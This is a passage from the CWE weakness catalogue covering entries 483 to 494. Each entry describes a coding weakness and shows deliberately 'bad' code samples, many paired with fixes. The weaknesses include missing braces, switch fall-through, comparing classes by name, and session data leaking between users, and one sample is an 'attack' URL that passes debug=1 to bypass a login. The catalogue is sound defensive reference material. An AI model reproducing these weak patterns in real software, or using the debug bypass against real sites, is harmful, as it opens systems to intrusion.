Example Language: C *(bad)*

```
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
    p1++;
    if(p1==(tos+SIZE)) {
        // Print stack overflow error message and exit
    }
    *p1 == i;
}
int pop(void) {
    if(p1==tos) {
        // Print stack underflow error message and exit
    }
    p1--;
    return *(p1+1);
}
int main(int argc, char *argv[]) {
    // initialize tos and p1 to point to the top of stack
    tos = stack;
    p1 = stack;
    // code to add and remove items from stack
    ...
    return 0;
}
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

CWE-483: Incorrect Block Delimitation

Weakness ID : 483 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error.

Extended Description

In some languages, braces (or other delimiters) are optional for blocks. When the delimiter is omitted, it is possible to insert a logic error in which a statement is thought to be in a block but is not. In some cases, the logic error can have security implications.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	670	Always-Incorrect Control Flow Implementation	1308

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Alter Execution Logic *This is a general logic error which will often lead to obviously-incorrect behaviors that are quickly noticed and fixed. In lightly tested or untested code, this error may be introduced it into a production environment and provide additional attack vectors by creating a control flow path leading to an unexpected state in the application. The consequences will depend on the types of behaviors that are being incorrectly executed.*	

Potential Mitigations

Phase: Implementation

Always use explicit block delimitation and use static-analysis technologies to enforce this practice.

Demonstrative Examples

Example 1:

In this example, the programmer has indented the statements to call Do_X() and Do_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

Example Language: C *(bad)*

```
if (condition==true)
    Do_X();
    Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Example 2:

In this example, the programmer has indented the Do_Y() statement as if the intention is that the function should be associated with the preceding conditional and should only be called when the condition is true. However, because Do_X() was called on the same line as the conditional and there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

Example Language: C *(bad)*

```
if (condition==true) Do_X();
    Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Observed Examples

Reference	Description
CVE-2014-1266	incorrect indentation of "goto" statement makes it more difficult to detect an incorrect goto (Apple's "goto fail") *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1266*

CWE-484: Omitted Break Statement in Switch

Weakness ID : 484 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The program omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.

Extended Description

This can lead to critical code executing in situations where it should not.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		670	Always-Incorrect Control Flow Implementation	1308
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic *This weakness can cause unintended logic to be executed and other unexpected application behavior.*	

Detection Methods

White Box

Omission of a break statement might be intentional, in order to support fallthrough. Automated detection methods might therefore be erroneous. Semantic understanding of expected program behavior is required to interpret whether the code is correct.

Black Box

Since this weakness is associated with a code construct, it would be indistinguishable from other errors that produce the same behavior.

Potential Mitigations

Phase: Implementation

Omitting a break statement so that one may fall through is often indistinguishable from an error, and therefore should be avoided. If you need to use fall-through capabilities, make sure that you have clearly documented this within the switch statement, and ensure that you have examined all the logical possibilities.

Phase: Implementation

The functionality of omitting a break statement could be clarified with an if statement. This method is much safer.

Demonstrative Examples

Example 1:

In both of these examples, a message is printed based on the month passed into the function:

Example Language: Java *(bad)*

```
public void printMessage(int month){
    switch (month) {
        case 1: print("January");
        case 2: print("February");
        case 3: print("March");
        case 4: print("April");
        case 5: print("May");
        case 6: print("June");
        case 7: print("July");
        case 8: print("August");
        case 9: print("September");
        case 10: print("October");
        case 11: print("November");
        case 12: print("December");
    }
    println(" is a great month");
}
```

Example Language: C *(bad)*

```
void printMessage(int month){
    switch (month) {
        case 1: printf("January");
        case 2: printf("February");
        case 3: printf("March");
        case 4: printf("April");
        case 5: printff("May");
        case 6: printf("June");
        case 7: printf("July");
        case 8: printf("August");
        case 9: printf("September");
        case 10: printf("October");
        case 11: printf("November");
        case 12: printf("December");
    }
    printf(" is a great month");
}
```

Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.

MemberOf Relationships

CWE-486: Comparison of Classes by Name

Weakness ID : 486 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name.

Extended Description

If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1025	Comparison Using Wrong Factors	1638
PeerOf	B	386	Symbolic Name not Mapping to Correct Object	844

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
Confidentiality Availability	*If a program relies solely on the name of an object to determine identity, it may execute the incorrect or unintended code.*	

Potential Mitigations

Phase: Implementation

Use class equivalency to determine type. Rather than use the class name to determine if an object is of a given type, use the getClass() method, and == operator.

Demonstrative Examples

Example 1:

In this example, the expression in the if statement compares the class of the inputClass object to a trusted class by comparing the class names.

Example Language: Java *(bad)*

```
if (inputClass.getClass().getName().equals("TrustedClassName")) {
    // Do something assuming you trust inputClass
    // ...
}
```

However, multiple classes can have the same name therefore comparing an object's class by name can allow untrusted classes of the same name as the trusted class to be use to execute unintended or incorrect code. To compare the class of an object to the intended class the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

Example Language: Java *(good)*

```
if (inputClass.getClass() == TrustedClass.class) {
    // Do something assuming you trust inputClass
    // ...
}
```

Example 2:

In this example, the Java class, TrustedClass, overrides the equals method of the parent class Object to determine equivalence of objects of the class. The overridden equals method first determines if the object, obj, is the same class as the TrustedClass object and then compares the object's fields to determine if the objects are equivalent.

Example Language: Java *(bad)*

```
public class TrustedClass {
    ...
    @Override
    public boolean equals(Object obj) {
        boolean isEquals = false;
        // first check to see if the object is of the same class
        if (obj.getClass().getName().equals(this.getClass().getName())) {
            // then compare object fields
            ...
            if (...) {
                isEquals = true;
            }
        }
        return isEquals;
    }
    ...
}
```

However, the equals method compares the class names of the object, obj, and the TrustedClass object to determine if they are the same class. As with the previous example using the name of the class to compare the class of objects can lead to the execution of unintended or incorrect code if the object passed to the equals method is of another class with the same name. To compare the class of an object to the intended class, the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

Example Language: Java *(good)*

```
public boolean equals(Object obj) {
    ...
    // first check to see if the object is of the same class
    if (obj.getClass() == this.getClass()) {
        ...
    }
    ...
}
```

CWE-487: Reliance on Package-level Scope

Weakness ID : 487 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.

Extended Description

The purpose of package scope is to prevent accidental access by other parts of a program. This is an ease-of-software-development feature but not a security feature.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Any data in a Java package can be accessed outside of the Java framework if the package is distributed.*	
Integrity	Modify Application Data *The data in a Java class can be modified by anyone outside of the Java framework if the packages is distributed.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Data should be private static and final whenever possible. This will assure that your code is protected by instantiating early, preventing access and tampering.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(bad)*

```
package math;
public class Lebesgue implements Integration{
    public final Static String youAreHidingThisFunction(functionToIntegrate){
        return ...;
    }
```

```
}
```

CWE-488: Exposure of Data Element to Wrong Session

Weakness ID : 488 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.

Extended Description

Data can "bleed" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.

In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf	C	1018	Manage User Sessions	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1217	User Session Errors	2016

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.

Phase: Testing

Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).

Phase: Architecture and Design

In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.

Demonstrative Examples

Example 1:

The following Servlet stores the value of a request parameter in a member field and then later echoes the parameter value to the response output stream.

Example Language: Java *(bad)*

```
public class GuestBook extends HttpServlet {
    String name;
    protected void doPost (HttpServletRequest req, HttpServletResponse res) {
        name = req.getParameter("name");
        ...
        out.println(name + ", thanks for visiting!");
    }
}
```

While this code will work perfectly in a single-user environment, if two users access the Servlet at approximately the same time, it is possible for the two request handler threads to interleave in the following way: Thread 1: assign "Dick" to name Thread 2: assign "Jane" to name Thread 1: print "Jane, thanks for visiting!" Thread 2: print "Jane, thanks for visiting!" Thereby showing the first user the second user's name.

CWE-489: Active Debug Code

Weakness ID : 489 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information.

Extended Description

A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the application. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Indirect :

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Other	Bypass Protection Mechanism Read Application Data Gain Privileges or Assume Identity Varies by Context *The severity of the exposed debug application will depend on the particular instance. At the least, it will give an attacker sensitive information about the settings and mechanics of web applications on the server. At worst, as is often the case, the debug application will allow an attacker complete control over the web application and server, as well as confidential information that either of these access.*	

Potential Mitigations

Phase: Build and Compilation

Phase: Distribution

Remove debug code before deploying the application.

Demonstrative Examples

Example 1:

Debug code can be used to bypass authentication. For example, suppose an application has a login script that receives a username and a password. Assume also that a third, optional, parameter, called "debug", is interpreted by the script as requesting a switch to debug mode, and that when this parameter is given the username and password are not checked. In such a case, it is very simple to bypass the authentication process if the special behavior of the application regarding the debug parameter is known. In a case where the form is:

Example Language: HTML *(bad)*

```
<FORM ACTION="/authenticate_login.cgi">
   <INPUT TYPE=TEXT name=username>
   <INPUT TYPE=PASSWORD name=password>
   <INPUT TYPE=SUBMIT>
</FORM>
```

Then a conforming link will look like:

Example Language: *(informative)*

```
http://TARGET/authenticate_login.cgi?username=...&password=...
```

An attacker can change this to:

Example Language: *(attack)*

```
http://TARGET/authenticate_login.cgi?username=&password=&debug=1
```

Which will grant the attacker access to the site, bypassing the authentication process.

CWE-491: Public cloneable() Method Without Final ('Object Hijack')

Weakness ID : 491 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1305

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Make the cloneable() method final.

Demonstrative Examples

Example 1:

In this example, a public class "BankAccount" implements the cloneable() method which declares "Object clone(string accountnumber)":

Example Language: Java *(bad)*

```
public class BankAccount implements Cloneable{
    public Object clone(String accountnumber) throws
    CloneNotSupportedException
    {
        Object returnMe = new BankAccount(account number);
        ...
    }
}
```

Example 2:

In the example below, a clone() method is defined without being declared final.

Example Language: Java *(bad)*

```
protected Object clone() throws CloneNotSupportedException {
    ...
}
```

CWE-492: Use of Inner Class Containing Sensitive Data

Weakness ID : 492 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.

Extended Description

Inner classes quietly introduce several security concerns because of the way they are translated into Java bytecode. In Java source code, it appears that an inner class can be declared to be accessible only by the enclosing class, but Java bytecode has no concept of an inner class, so the compiler must transform an inner class declaration into a peer class with package level access to the original outer class. More insidiously, since an inner class can access private fields in its enclosing class, once an inner class becomes a peer class in bytecode, the compiler converts private fields accessed by the inner class into protected fields.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Scope	Impact	Likelihood
	"Inner Classes" data confidentiality aspects can often be overcome.	

Potential Mitigations

Phase: Implementation

Using sealed classes protects object-oriented encapsulation paradigms and therefore protects code from being extended in unforeseen ways.

Phase: Implementation

Inner Classes do not provide security. Warning: Never reduce the security of the object from an outer class, going to an inner class. If an outer class is final or private, ensure that its inner class is private as well.

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly makes use of an inner class.

Example Language: Java *(bad)*

```
public final class urlTool extends Applet {
    private final class urlHelper {
        ...
    }
    ...
}
```

Example 2:

The following example shows a basic use of inner classes. The class OuterClass contains the private member inner class InnerClass. The private inner class InnerClass includes the method concat that accesses the private member variables of the class OuterClass to output the value of one of the private member variables of the class OuterClass and returns a string that is a concatenation of one of the private member variables of the class OuterClass, the separator input parameter of the method and the private member variable of the class InnerClass.

Example Language: Java *(bad)*

```
public class OuterClass {
    // private member variables of OuterClass
    private String memberOne;
    private String memberTwo;
    // constructor of OuterClass
    public OuterClass(String varOne, String varTwo) {
        this.memberOne = varOne;
        this.memberTwo = varTwo;
    }
    // InnerClass is a member inner class of OuterClass
    private class InnerClass {
        private String innerMemberOne;
        public InnerClass(String innerVarOne) {
            this.innerMemberOne = innerVarOne;
        }
        public String concat(String separator) {
            // InnerClass has access to private member variables of OuterClass
            System.out.println("Value of memberOne is: " + memberOne);
            return OuterClass.this.memberTwo + separator + this.innerMemberOne;
        }
    }
}
```

Although this is an acceptable use of inner classes it demonstrates one of the weaknesses of inner classes that inner classes have complete access to all member variables and methods of the enclosing class even those that are declared private and protected. When inner classes are compiled and translated into Java bytecode the JVM treats the inner class as a peer class with package level access to the enclosing class.

To avoid this weakness of inner classes, consider using either static inner classes, local inner classes, or anonymous inner classes.

The following Java example demonstrates the use of static inner classes using the previous example. The inner class InnerClass is declared using the static modifier that signifies that InnerClass is a static member of the enclosing class OuterClass. By declaring an inner class as a static member of the enclosing class, the inner class can only access other static members and methods of the enclosing class and prevents the inner class from accessing nonstatic member variables and methods of the enclosing class. In this case the inner class InnerClass can only access the static member variable memberTwo of the enclosing class OuterClass but cannot access the nonstatic member variable memberOne.

Example Language: Java *(good)*

```
public class OuterClass {
    // private member variables of OuterClass
    private String memberOne;
    private static String memberTwo;
    // constructor of OuterClass
    public OuterClass(String varOne, String varTwo) {
        this.memberOne = varOne;
        this.memberTwo = varTwo;
    }
    // InnerClass is a static inner class of OuterClass
    private static class InnerClass {
        private String innerMemberOne;
        public InnerClass(String innerVarOne) {
            this.innerMemberOne = innerVarOne;
        }
        public String concat(String separator) {
            // InnerClass only has access to static member variables of OuterClass
            return memberTwo + separator + this.innerMemberOne;
        }
    }
}
```

The only limitation with using a static inner class is that as a static member of the enclosing class the inner class does not have a reference to instances of the enclosing class. For many situations this may not be ideal. An alternative is to use a local inner class or an anonymous inner class as shown in the next examples.

Example 3:

In the following example the BankAccount class contains the private member inner class InterestAdder that adds interest to the bank account balance. The start method of the BankAccount class creates an object of the inner class InterestAdder, the InterestAdder inner class implements the ActionListener interface with the method actionPerformed. A Timer object created within the start method of the BankAccount class invokes the actionPerformed method of the InterestAdder class every 30 days to add the interest to the bank account balance based on the interest rate passed to the start method as an input parameter. The inner class InterestAdder needs access to the private member variable balance of the BankAccount class in order to add the interest to the bank account balance.

However as demonstrated in the previous example, because InterestAdder is a non-static member inner class of the BankAccount class, InterestAdder also has access to the private member variables of the BankAccount class - including the sensitive data contained in the private member

variables for the bank account owner's name, Social Security number, and the bank account number.

Example Language: Java *(bad)*

```
public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN,
    int accountNumber, double initialBalance, int initialRate)
    {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days
    // creates timer object and interest adding action listener object
    public void start(double rate)
    {
        ActionListener adder = new InterestAdder(rate);
        Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
        t.start();
    }
    // InterestAdder is an inner class of BankAccount class
    // that implements the ActionListener interface
    private class InterestAdder implements ActionListener
    {
        private double rate;
        public InterestAdder(double aRate)
        {
            this.rate = aRate;
        }
        public void actionPerformed(ActionEvent event)
        {
            // update interest
            double interest = BankAccount.this.balance * rate / 100;
            BankAccount.this.balance += interest;
        }
    }
}
```

In the following example the InterestAdder class from the above example is declared locally within the start method of the BankAccount class. As a local inner class InterestAdder has its scope restricted to the method (or enclosing block) where it is declared, in this case only the start method has access to the inner class InterestAdder, no other classes including the enclosing class has knowledge of the inner class outside of the start method. This allows the inner class to access private member variables of the enclosing class but only within the scope of the enclosing method or block.

Example Language: Java *(good)*

```
public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN,
    int accountNumber, double initialBalance, int initialRate)
```

```
    {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days
    // creates timer object and interest adding action listener object
    public void start(final double rate)
    {
        // InterestAdder is a local inner class
        // that implements the ActionListener interface
        class InterestAdder implements ActionListener
        {
            public void actionPerformed(ActionEvent event)
            {
                // update interest
                double interest = BankAccount.this.balance * rate / 100;
                BankAccount.this.balance += interest;
            }
        }
        ActionListener adder = new InterestAdder();
        Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
        t.start();
    }
}
```

A similar approach would be to use an anonymous inner class as demonstrated in the next example. An anonymous inner class is declared without a name and creates only a single instance of the inner class object. As in the previous example the anonymous inner class has its scope restricted to the start method of the BankAccount class.

Example Language: Java *(good)*

```
public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN,
    int accountNumber, double initialBalance, int initialRate)
    {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days
    // creates timer object and interest adding action listener object
    public void start(final double rate)
    {
        // anonymous inner class that implements the ActionListener interface
        ActionListener adder = new ActionListener()
        {
            public void actionPerformed(ActionEvent event)
            {
                // update interest
                double interest = BankAccount.this.balance * rate / 100;
                BankAccount.this.balance += interest;
            }
        };
        Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
        t.start();
```

```
    }
}
```

Example 4:

In the following Java example a simple applet provides the capability for a user to input a URL into a text field and have the URL opened in a new browser window. The applet contains an inner class that is an action listener for the submit button, when the user clicks the submit button the inner class action listener's actionPerformed method will open the URL entered into the text field in a new browser window. As with the previous examples using inner classes in this manner creates a security risk by exposing private variables and methods. Inner classes create an additional security risk with applets as applets are executed on a remote machine through a web browser within the same JVM and therefore may run side-by-side with other potentially malicious code.

Example Language: *(bad)*

```
public class UrlToolApplet extends Applet {
    // private member variables for applet components
    private Label enterUrlLabel;
    private TextField enterUrlTextField;
    private Button submitButton;
    // init method that adds components to applet
    // and creates button listener object
    public void init() {
        setLayout(new FlowLayout());
        enterUrlLabel = new Label("Enter URL: ");
        enterUrlTextField = new TextField("", 20);
        submitButton = new Button("Submit");
        add(enterUrlLabel);
        add(enterUrlTextField);
        add(submitButton);
        ActionListener submitButtonListener = new SubmitButtonListener();
        submitButton.addActionListener(submitButtonListener);
    }
    // button listener inner class for UrlToolApplet class
    private class SubmitButtonListener implements ActionListener {
        public void actionPerformed(ActionEvent evt) {
            if (evt.getSource() == submitButton) {
                String urlString = enterUrlTextField.getText();
                URL url = null;
                try {
                    url = new URL(urlString);
                } catch (MalformedURLException e) {
                    System.err.println("Malformed URL: " + urlString);
                }
                if (url != null) {
                    getAppletContext().showDocument(url);
                }
            }
        }
    }
}
```

As with the previous examples a solution to this problem would be to use a static inner class, a local inner class or an anonymous inner class. An alternative solution would be to have the applet implement the action listener rather than using it as an inner class as shown in the following example.

Example Language: Java *(good)*

```
public class UrlToolApplet extends Applet implements ActionListener {
    // private member variables for applet components
    private Label enterUrlLabel;
    private TextField enterUrlTextField;
    private Button submitButton;
```

```
    // init method that adds components to applet
    public void init() {
        setLayout(new FlowLayout());
        enterUrlLabel = new Label("Enter URL: ");
        enterUrlTextField = new TextField("", 20);
        submitButton = new Button("Submit");
        add(enterUrlLabel);
        add(enterUrlTextField);
        add(submitButton);
        submitButton.addActionListener(this);
    }
    // implementation of actionPerformed method of ActionListener interface
    public void actionPerformed(ActionEvent evt) {
        if (evt.getSource() == submitButton) {
            String urlString = enterUrlTextField.getText();
            URL url = null;
            try {
                url = new URL(urlString);
            } catch (MalformedURLException e) {
                System.err.println("Malformed URL: " + urlString);
            }
            if (url != null) {
                getAppletContext().showDocument(url);
            }
        }
    }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	1868

Notes

Other

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Mobile Code: Use of Inner Class
CLASP			Publicizing of private data when using inner classes
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ08-J		Do not expose private members of an outer class from within a nested class

CWE-493: Critical Public Variable Without Final Modifier

Weakness ID : 493 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.

Extended Description

If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field. This could lead to a vulnerability if other parts of the program make assumptions about the contents of that field.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
ParentOf	V	500	Public Static Field Not Marked Final	1069

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Background Details

Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Final provides security by only allowing non-mutable objects to be changed after being set. However, only objects which are not extended can be made final.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The object could potentially be tampered with.*	
Confidentiality	Read Application Data *The object could potentially allow the object to be read.*	

Potential Mitigations

Phase: Implementation

Declare all public fields as final when possible, especially if it is used to maintain internal state of an Applet or of classes used by an Applet. If a field must be public, then perform all appropriate sanity checks before accessing the field from your code.

Demonstrative Examples

Example 1:

Suppose this WidgetData class is used for an e-commerce web site. The programmer attempts to prevent price-tampering attacks by setting the price of the widget using the constructor.

Example Language: Java *(bad)*

```
public final class WidgetData extends Applet {
    public float price;
    ...
    public WidgetData(...) {
        this.price = LookupPrice("MyWidgetType");
    }
}
```

The price field is not final. Even though the value is set by the constructor, it could be modified by anybody that has access to an instance of WidgetData.

Example 2:

Assume the following code is intended to provide the location of a configuration file that controls execution of the application.

Example Language: C++ *(bad)*

```
public string configPath = "/etc/application/config.dat";
```

Example Language: Java *(bad)*

```
public String configPath = new String("/etc/application/config.dat");
```

While this field is readable from any function, and thus might allow an information leak of a pathname, a more serious problem is that it can be changed by any function.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-494: Download of Code Without Integrity Check

Weakness ID : 494 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

Extended Description

An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

